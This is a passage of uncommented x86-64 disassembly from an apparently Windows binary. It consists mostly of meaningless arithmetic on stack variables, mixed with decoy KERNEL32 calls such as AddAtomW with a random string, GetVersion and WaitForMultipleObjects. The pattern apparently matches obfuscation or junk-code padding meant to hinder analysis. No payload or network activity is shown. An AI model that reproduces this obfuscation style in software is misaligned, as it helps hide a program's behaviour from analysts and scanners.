mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x35f0], rax
mov rax, qword [rsp + 0x8460]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7778]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4a88]
mov qword [rcx], rax
lea rax, [rsp + 0x1bf8]
mov qword [rsp + 0x94c0], rax
mov rax, qword [rsp + 0x4d20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1bc]
xor eax, ecx
mov rcx, qword [rsp + 0x5010]
mov byte [rcx], al
mov eax, dword [rsp + 0x22a4]
mov dword [rsp + 0x234c], eax
mov rax, qword [rsp + 0x6338]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x228]
or eax, ecx
mov byte [rsp + 0x1ce], al
lea rax, [0x14018ae78]
mov qword [rsp + 0x94c8], rax
mov rax, qword [rsp + 0x66c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6f30]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14018c970]
mov word [rcx], ax
movsx eax, word [rsp + 0xc84]
movsx ecx, word [rsp + 0x1024]
sar eax, cl
mov rcx, qword [rsp + 0x7ea8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9108]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3d8]
add eax, ecx
mov word [rsp + 0xac0], ax
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x94d0], rax
movsx eax, byte [rsp + 0x209]
mov rcx, qword [0x14018bee0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7eb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x50c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3298], rax
mov rax, qword [rsp + 0x9370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x22e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6998]
mov dword [rcx], eax
movsx eax, word [rsp + 0x380]
movsx ecx, word [rsp + 0xd0c]
and eax, ecx
mov word [rsp + 0xd24], ax
lea rax, [rsp + 0xd9c]
mov qword [rsp + 0x94d8], rax
lea rax, [rsp + 0x3428]
mov qword [0x14018cb60], rax
mov rax, qword [rsp + 0x91c0]
mov rcx, qword [0x14018ad90]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7e08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f70]
mov rax, qword [rax]
mov qword [rsp + 0x94e0], rax
mov rax, qword [rsp + 0x32a0]
mov rcx, qword [rsp + 0x3f70]
mov qword [rsp + 0x94e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x94e8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2ad0], rax
movzx eax, word [0x14018ae20]
mov rcx, qword [rsp + 0x6170]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcf0], ax
mov rax, qword [rsp + 0x74e0]
mov eax, dword [rax]
mov dword [rsp + 0x2350], eax
movzx eax, byte [rsp + 0xef]
mov rcx, qword [rsp + 0x7820]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7fd0]
mov byte [rcx], al
lea rax, [0x14018ae78]
mov qword [rsp + 0x94f0], rax
mov rax, qword [rsp + 0x82e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4940]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5c88]
mov byte [rcx], al
mov rax, qword [rsp + 0x5bb0]
mov ecx, dword [rsp + 0x1dd4]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14018c570], eax
mov rax, qword [rsp + 0x78d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3b0]
shl eax, cl
mov rcx, qword [rsp + 0x88d0]
mov word [rcx], ax
lea rax, [rsp + 0xf94]
mov qword [rsp + 0x94f8], rax
movzx eax, word [rsp + 0xe58]
movzx ecx, word [rsp + 0xae8]
sub eax, ecx
mov rcx, qword [rsp + 0x3ee0]
mov word [rcx], ax
lea rax, [rsp + 0x87d8]
mov qword [rsp + 0x9500], rax
lea rcx, str.Ze_LcNy_5uzIeQD
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1070], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x52d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x91e0]
shr rax, cl
mov qword [rsp + 0x5098], rax
mov r9d, 0xde3
xor r8d, r8d
lea rdx, [rsp + 0x6980]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2054], eax
mov rax, qword [rsp + 0x6690]
mov rcx, qword [rsp + 0x7440]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1b4c], eax
movsx eax, byte [0x14018bdc6]
mov rcx, qword [rsp + 0x8498]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x65], al
movsx eax, word [rsp + 0xf98]
movsx ecx, word [rsp + 0x9b0]
add eax, ecx
mov rcx, qword [rsp + 0x53b0]
mov word [rcx], ax
lea rax, [0x14018bee8]
mov qword [0x14018cb68], rax
lea rax, [rsp + 0x8b50]
mov qword [rsp + 0x9508], rax
movzx eax, word [rsp + 0x504]
movzx ecx, word [rsp + 0xb84]
sub eax, ecx
mov word [rsp + 0xe74], ax
movzx eax, byte [rsp + 0x1dc]
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0x4a00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e98], eax
mov rax, qword [rsp + 0x7bf0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x20a4]
shr eax, cl
mov dword [rsp + 0x2140], eax
lea rax, [rsp + 0x157]
mov qword [rsp + 0x9510], rax
mov rax, qword [0x14018bfc8]
mov rcx, qword [rsp + 0x85c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x51c0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf4c]
mov rcx, qword [rsp + 0x58c8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x66c], ax
mov rax, qword [rsp + 0x8e00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa40]
shl eax, cl
mov word [0x14018c2d8], ax
mov rax, qword [rsp + 0x7ce8]
mov rcx, qword [rsp + 0x87a8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5590], rax
mov rax, qword [rsp + 0x48a8]
mov rcx, qword [0x14018bfe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5e20]
mov qword [rcx], rax
lea rax, [rsp + 0xf60]
mov qword [rsp + 0x9518], rax
mov rax, qword [rsp + 0x6ad0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x53e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x92c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2354], eax
mov rax, qword [rsp + 0x8730]
mov eax, dword [rax]
mov dword [rsp + 0x2358], eax
mov rax, qword [rsp + 0x5c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f48]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b18]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1bc]
movsx ecx, byte [rsp + 0x1de]
sar eax, cl
mov rcx, qword [rsp + 0x57b8]
mov byte [rcx], al
lea rax, [rsp + 0x5668]
mov qword [rsp + 0x9520], rax
lea rax, [rsp + 0xf98]
mov qword [0x14018cb70], rax
mov rax, qword [rsp + 0x8030]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9090]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe34], ax
lea rax, [rsp + 0x15b]
mov qword [rsp + 0x9528], rax
mov rax, qword [rsp + 0x77f0]
mov ecx, dword [rsp + 0x1c54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1d08], eax
mov rax, qword [rsp + 0x2b68]
mov qword [rsp + 0x9530], rax
mov rax, qword [rsp + 0x4468]
mov ecx, dword [rsp + 0x1ef4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x219c], eax
mov rax, qword [rsp + 0x4438]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8520]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x30c0], rax
lea rax, [rsp + 0x226]
mov qword [rsp + 0x9538], rax
movzx ecx, word [rsp + 0xd18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc74], ax
mov rax, qword [rsp + 0x6800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xddc]
sar eax, cl
mov rcx, qword [rsp + 0x82f8]
mov word [rcx], ax
mov r9d, 0x1910
xor r8d, r8d
lea rdx, [rsp + 0x4800]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x1fb0], eax
mov rax, qword [rsp + 0x7cb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x77f8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14018ae24], ax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x3638]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2da8], rax
mov rax, qword [rsp + 0x5db8]
movzx eax, word [rax]
mov rcx, qword [0x14018bfd0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xba8], ax
movsx eax, word [rsp + 0xc70]
movsx ecx, word [rsp + 0xce4]
sub eax, ecx
mov rcx, qword [rsp + 0x8960]
mov word [rcx], ax
lea rax, [rsp + 0x94e0]
mov qword [rsp + 0x9540], rax
mov rax, qword [rsp + 0x4438]
mov rcx, qword [rsp + 0x5820]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6248]
mov qword [rcx], rax
mov rax, qword [rsp + 0x47a8]
mov eax, dword [rax]
mov dword [rsp + 0x235c], eax
mov rax, qword [rsp + 0x9298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x224]
add eax, ecx
mov rcx, qword [rsp + 0x91a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x92c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a0]
and eax, ecx
mov word [rsp + 0xa80], ax
lea rax, [rsp + 0x7bc0]
mov qword [0x14018cb78], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x9548], rax
mov eax, dword [rsp + 0x1f8c]
movzx ecx, al
mov eax, dword [rsp + 0x21e4]
sar eax, cl
mov rcx, qword [rsp + 0x6868]
mov dword [rcx], eax
lea rax, [rsp + 0x974]
mov qword [rsp + 0x9550], rax
mov rax, qword [rsp + 0x7a98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe60]
and eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9558], rax
mov rax, qword [rsp + 0x4e60]
movsx eax, byte [rax]
movsx ecx, byte [0x14018bdc6]
sub eax, ecx
mov byte [rsp + 0x18e], al
mov eax, dword [rsp + 0x203c]
mov ecx, dword [rsp + 0x235c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2250], eax
mov rax, qword [rsp + 0x7888]
mov rcx, qword [rsp + 0x6e08]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x75b0]
mov qword [rcx], rax
lea rax, [rsp + 0xbb4]
mov qword [rsp + 0x9560], rax
lea rax, [rsp + 0xe30]
mov qword [0x14018cb80], rax
mov rax, qword [rsp + 0x9148]
mov rcx, qword [rsp + 0x87a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5f58]
mov qword [rcx], rax
lea rax, [0x14018c248]
mov qword [rsp + 0x9568], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x213c], eax
mov rax, qword [rsp + 0x8c80]
mov rcx, qword [rsp + 0x5720]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5728], rax
movsx eax, word [rsp + 0xc90]
movsx ecx, word [rsp + 0xca8]
xor eax, ecx
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x54d8]
mov eax, dword [rax]
mov dword [rsp + 0x2360], eax
mov rax, qword [rsp + 0x4c60]
mov rcx, qword [rsp + 0x57d8]
mov qword [rsp + 0x9570], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9570]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x56f8], rax
movzx eax, byte [rsp + 0x21b]
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x8340]
movzx eax, byte [rax]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9350]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x214c], eax
mov rax, qword [rsp + 0x7f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f8c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9100]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8858]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5498]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018be38]
mov word [rcx], ax
movzx eax, word [0x14018c6c0]
mov rcx, qword [rsp + 0x6148]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7d4], ax
mov rax, qword [rsp + 0x8790]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3db8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6050]
mov word [rcx], ax
lea rax, [rsp + 0x37e8]
mov qword [rsp + 0x9578], rax
mov rax, qword [rsp + 0x54e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8b30]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9298]
mov byte [rcx], al
mov eax, dword [rsp + 0x2164]
mov ecx, dword [rsp + 0x1b6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f68]
mov dword [rcx], eax
mov rax, qword [0x14018c7f0]
mov rax, qword [rax]
mov qword [rsp + 0x9580], rax
mov rax, qword [rsp + 0x7068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbb4]
add eax, ecx
mov rcx, qword [rsp + 0x6dd0]
mov word [rcx], ax
lea rax, [rsp + 0xf8c]
mov qword [rsp + 0x9588], rax
mov rax, qword [rsp + 0x4130]
mov rcx, qword [0x14018c4a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14018ca10], rax
mov rax, qword [rsp + 0x8428]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x67c]
or eax, ecx
mov word [rsp + 0x558], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x211c], eax
lea rax, [rsp + 0x40b0]
mov qword [rsp + 0x9590], rax
mov rax, qword [rsp + 0x7a78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8a00]
mov qword [rsp + 0x9598], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9598]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6260]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6778]
mov rcx, qword [rsp + 0x5190]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8d88]
mov qword [rcx], rax
lea rax, [rsp + 0x1b0c]
mov qword [rsp + 0x95a0], rax
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x224c]
sar eax, cl
mov dword [rsp + 0x1e50], eax
mov rax, qword [rsp + 0x56e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5aa0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x49b0]
movsx eax, byte [rax]
movsx ecx, byte [0x14018bdca]
sub eax, ecx
mov rcx, qword [rsp + 0x4f48]
mov byte [rcx], al
lea rax, [rsp + 0xf88]
mov qword [0x14018cb88], rax
mov rax, qword [rsp + 0x7748]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdac]
and eax, ecx
mov word [rsp + 0x554], ax
mov rax, qword [rsp + 0x7398]
movzx eax, word [rax]
mov word [rsp + 0x1074], ax
mov rax, qword [rsp + 0x5bd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6e8]
and eax, ecx
mov rcx, qword [rsp + 0x8b68]
mov word [rcx], ax
lea rax, [rsp + 0x4680]
mov qword [rsp + 0x95a8], rax
mov eax, dword [rsp + 0x22bc]
mov ecx, dword [rsp + 0x228c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5be0]
mov dword [rcx], eax
movzx ecx, word [rsp + 0xc8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1078], ax
mov rax, qword [rsp + 0x4c30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d5]
sar eax, cl
mov rcx, qword [rsp + 0x9480]
mov byte [rcx], al
movsx eax, word [rsp + 0x6ec]
mov rcx, qword [rsp + 0x5760]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3c8], ax
mov rax, qword [rsp + 0x7e80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x720]
and eax, ecx
mov rcx, qword [rsp + 0x5458]
mov word [rcx], ax
lea rax, [rsp + 0x5388]
mov qword [0x14018cb90], rax
mov rax, qword [rsp + 0x30e8]
mov qword [rsp + 0x95b0], rax
mov rax, qword [rsp + 0x2b60]
mov rcx, qword [rsp + 0x5728]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x80e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6448]
mov qword [rsp + 0x95b8], rax
movzx eax, word [rsp + 0xcd0]
movzx ecx, word [rsp + 0xed8]
xor eax, ecx
mov rcx, qword [rsp + 0x41f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe1]
movzx ecx, byte [0x14018acda]
shl eax, cl
mov rcx, qword [rsp + 0x9128]
mov byte [rcx], al
lea rax, [rsp + 0x2094]
mov qword [rsp + 0x95c0], rax
mov rax, qword [rsp + 0x6df8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7ae8]
mov qword [rsp + 0x95c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x95c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1cd4], eax
movsx eax, byte [rsp + 0x22a]
mov rcx, qword [0x14018bf10]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x57b0]
mov rcx, qword [rsp + 0x77e8]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14018ae78], rax
mov rax, qword [rsp + 0x6f20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x90d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6e88]
mov word [rcx], ax
movsx eax, word [0x14018c080]
movsx ecx, word [rsp + 0xcdc]
sub eax, ecx
mov rcx, qword [rsp + 0x7400]
mov word [rcx], ax
mov rcx, qword [rsp + 0x5ab0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x222c], eax
lea rax, [rsp + 0xec0]
mov qword [rsp + 0x95d0], rax
mov rax, qword [rsp + 0x53f8]
mov rcx, qword [rsp + 0x2c00]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8548]
mov qword [rcx], rax
lea rax, [rsp + 0x2d60]
mov qword [rsp + 0x95d8], rax
mov rax, qword [rsp + 0x6bd8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4ae8]
mov qword [rsp + 0x95e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x95e0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5a70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5a20]
movsx eax, byte [rax]
mov rcx, qword [0x14018c200]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b2], al
mov rax, qword [rsp + 0x51b8]
movzx eax, word [rax]
mov word [rsp + 0x107c], ax
lea rax, [rsp + 0x504]
mov qword [0x14018cb98], rax
mov rax, qword [rsp + 0x7488]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ff8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6390]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x5df0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [0x14018ad14]
mov qword [rsp + 0x95e8], rax
mov rax, qword [rsp + 0x7a20]
mov rcx, qword [rsp + 0x51a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2190], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x21ec], eax
mov rax, qword [rsp + 0x8178]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ae]
xor eax, ecx
mov rcx, qword [rsp + 0x59b0]
mov byte [rcx], al
lea rax, [rsp + 0x2050]
mov qword [rsp + 0x95f0], rax
mov rax, qword [rsp + 0x7e20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15a]
or eax, ecx
mov rcx, qword [rsp + 0x9018]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e38]
movzx ecx, al
mov rax, qword [rsp + 0x73c0]
shl rax, cl
mov qword [rsp + 0x3190], rax
mov rax, qword [rsp + 0x9190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7490]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x81b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x71c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7b18]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018be18]
mov word [rcx], ax
lea rax, [rsp + 0x85a0]
mov qword [rsp + 0x95f8], rax
mov rax, qword [rsp + 0x6d00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5fa8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x42d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x71a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe40]
and eax, ecx
mov rcx, qword [rsp + 0x7880]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov word [rsp + 0x1080], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2364], eax
mov rax, qword [rsp + 0x6d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2050]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7100]
mov dword [rcx], eax
lea rax, [rsp + 0x8f]
mov qword [rsp + 0x9600], rax
mov rax, qword [0x14018c608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x32f0], rax
mov rax, qword [rsp + 0x51a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4eb8]
mov qword [rsp + 0x9608], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9608]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
lea rax, [rsp + 0xf4c]
mov qword [0x14018cba0], rax
lea rax, [rsp + 0x844]
mov qword [rsp + 0x9610], rax
mov rax, qword [rsp + 0x5d50]
mov ecx, dword [rsp + 0x1dc0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2190], eax
movzx eax, byte [rsp + 0x205]
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0x5328]
mov rcx, qword [rsp + 0x8cc0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8508]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x109]
movsx ecx, byte [rsp + 0x211]
shl eax, cl
mov rcx, qword [rsp + 0x9600]
mov byte [rcx], al
lea rax, [rsp + 0x4680]
mov qword [rsp + 0x9618], rax
mov rax, qword [rsp + 0x8770]
mov rcx, qword [0x14018c550]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2330], eax
lea rax, [rsp + 0xd6c]
mov qword [rsp + 0x9620], rax
movzx eax, word [rsp + 0xd1c]
movzx ecx, word [rsp + 0xde8]
add eax, ecx
mov word [0x14018ad14], ax
mov rax, qword [rsp + 0x69b0]
mov rcx, qword [0x14018c430]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x85b0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x22b4], eax
mov rax, qword [rsp + 0x7a98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x40d8]
mov word [rcx], ax
lea rax, [rsp + 0xd24]
mov qword [rsp + 0x9628], rax
mov rax, qword [0x14018c9b8]
mov rcx, qword [rsp + 0x8a00]
mov qword [rsp + 0x9630], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9630]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3850], rax
lea rax, [rsp + 0x1e2]
mov qword [rsp + 0x9638], rax
mov eax, dword [rsp + 0x20c0]
mov ecx, dword [rsp + 0x1e48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f1c], eax
lea rax, [rsp + 0x2c80]
mov qword [rsp + 0x9640], rax
movzx eax, word [rsp + 0xa44]
movzx ecx, word [rsp + 0x618]
add eax, ecx
mov word [rsp + 0x48c], ax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x7b38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2bf0]
and rcx, rax
mov rax, rcx
mov qword [0x14018c1f8], rax
mov rax, qword [rsp + 0x53a0]
mov rcx, qword [rsp + 0x5f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1d08], eax
movzx eax, byte [rsp + 0x1c4]
mov rcx, qword [rsp + 0x7268]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x7000]
movsx eax, word [rax]
mov rcx, qword [0x14018c6d8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8f48]
mov word [rcx], ax
lea rax, [rsp + 0xfec]
mov qword [rsp + 0x9648], rax
mov rax, qword [rsp + 0x4210]
mov rcx, qword [rsp + 0x35c8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8c68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2204]
mov rcx, qword [rsp + 0x7ae8]
mov qword [rsp + 0x9650], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9650]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2250], eax
lea rax, [rsp + 0x10a]
mov qword [rsp + 0x9658], rax
movsx eax, word [rsp + 0x1030]
movsx ecx, word [rsp + 0xd6c]
xor eax, ecx
mov rcx, qword [rsp + 0x4a60]
mov word [rcx], ax
lea rax, [0x14018ad98]
mov qword [0x14018cba8], rax
lea rax, [rsp + 0x5e78]
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x7158]
mov rcx, qword [rsp + 0x7af8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5a18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8410]
mov rcx, qword [rsp + 0x3fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5310]
mov qword [rcx], rax
lea rax, [rsp + 0xca8]
mov qword [rsp + 0x9668], rax
mov rax, qword [rsp + 0x9130]
mov rcx, qword [rsp + 0x5980]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8150]
mov qword [rcx], rax
lea rax, [rsp + 0x2300]
mov qword [rsp + 0x9670], rax
mov rax, qword [rsp + 0x7e20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x141]
sar eax, cl
mov rcx, qword [rsp + 0x7510]
mov byte [rcx], al
lea rax, [rsp + 0x80]
mov qword [rsp + 0x9678], rax
mov rax, qword [rsp + 0x6130]
mov rcx, qword [rsp + 0x8dd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x83e0]
mov dword [rcx], eax
movzx eax, word [0x14018bf4c]
mov word [0x14018cbb0], ax
movzx eax, word [rsp + 0x103c]
mov rcx, qword [rsp + 0x8088]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7c68]
mov word [rcx], ax
lea rax, [rsp + 0x102c]
mov qword [rsp + 0x9680], rax
mov rax, qword [rsp + 0x2e68]
mov rcx, qword [rsp + 0x3610]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d78]
mov qword [rcx], rax
